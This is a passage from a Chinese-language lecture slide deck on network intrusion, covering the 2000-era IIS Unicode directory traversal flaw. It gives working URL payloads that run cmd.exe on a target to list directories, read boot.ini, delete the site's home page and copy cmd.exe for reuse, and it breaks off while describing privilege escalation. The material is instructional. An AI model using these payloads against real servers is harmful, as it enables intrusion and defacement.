第4部分网络入侵详解.ppt

Unicode漏洞专题 通过打操作系统的补丁程序，就可以消除漏洞。只要是针对漏洞进行攻击的案例都依赖于操作系统是否打了相关的补丁。 Unicode漏洞是2000-10-17发布的，受影响的版本： Microsoft IIS 5.0+Microsoft Windows 2000系列版本 Microsoft IIS 4.0+ Microsoft Windows NT 4.0 消除该漏洞的方式是安装操作系统的补丁，只要安装了SP1以后，该漏洞就不存在了。微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代/和\而能利用../目录遍历的漏洞。 Unicode漏洞的检测方法 使用扫描工具来检测Unicode漏洞是否存在，使用上一章介绍的X-Scan来对目标系统进行扫描，目标主机IP为：09，Unicode漏洞属于IIS漏洞，所以这里只扫描IIS漏洞就可以了，X-Scan设置如图5-17所示。 将主机添加到目标地址，扫描结果如图5-18所示。 可以看出，存在许多系统的漏洞。只要是/scripts开头的漏洞都是Unicode漏洞。比如： /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir 其中/scripts目录是IIS提供的可以执行命令的一个有执行程序权限的一个目录，在IIS中的位置如图5-19所示。 scripts目录一般系统盘根目录下的Inetpub目录下，如图5-20所示。 在Windows的目录结构中，可以使用两个点和一个斜线“../”来访问上一级目录，在浏览器中利用“scripts/../../”可以访问到系统盘根目录，访问“scripts/../../winnt/system32”就访问到系统的系统目录了，在system32目录下包含许多重要的系统文件，比如cmd.exe文件，可以利用该文件新建用户，删除文件等操作。 浏览器地址栏中禁用符号“../”，但是可以使用符号“/”的Unicode的编码。比如 “/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir”中的“%c0%2f”就是“/”的Unicode编码。这条语句是执行dir命令列出目录结构。 Unicode漏洞 此漏洞从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1，台湾繁体中文也同样存在这样的漏洞。在NT4中/编码为“%c1%9c”或者“%c1%9c”，WIN2000英文版是“%c0%af”。 但从国外某些站点得来的资料显示，还有以下的编码可以实现对该漏洞的检测，该编码存在于日文版、韩文版等操作系统。 %c1%pc %c0%9v %c0%qf %c1%8s %e0%80%af Unicode漏洞 利用该漏洞读取出计算机上目录列表，比如读取C盘的目录，只要在浏览器中输入 “09/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\” 利用Unicode漏洞读取系统盘目录 利用语句得到对方计算机上装了几个操作系统以及操作系统的类型，只要读取C盘下的boot.ini文件就可以了。使用的语句是： 09/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+type+c:\boot.ini 执行的结果如图5-22所示。 利用Unicode漏洞删除主页 利用Unicode可以方便的更改对方的主页，比如现在已经知道对方网站的根路径在“C:\Initpub\wwwroot”（系统默认）下，可以删除该路径下的文件“default.asp”来删除主页，这里的“default.asp”文件是IIS的默认启动页面。 使用的语句是： 09/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+del+c:\inetpub\wwwroot\default.asp 拷贝文件 为了使用方便，利用语句将cmd.exe文件拷贝到scripts目录，并改名为c.exe，使用的语句是： 09/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+copy+C:\winnt\system32\cmd.exe+c.exe 程序执行结果如图5-24所示。 查看C盘的目录 以后使用cmd.exe命令就方便了，比如查看C盘的目录，使用的语句就可以简化为： 09/scripts/c.exe?/c+dir+c:\ 执行的结果如图5-25所示。 利用Unicode漏洞入侵系统 在地址栏上执行命令，用户的权限比较低，像net等系统管理指令不能执行。利用Unicode可以入侵对方的系统，并得到管理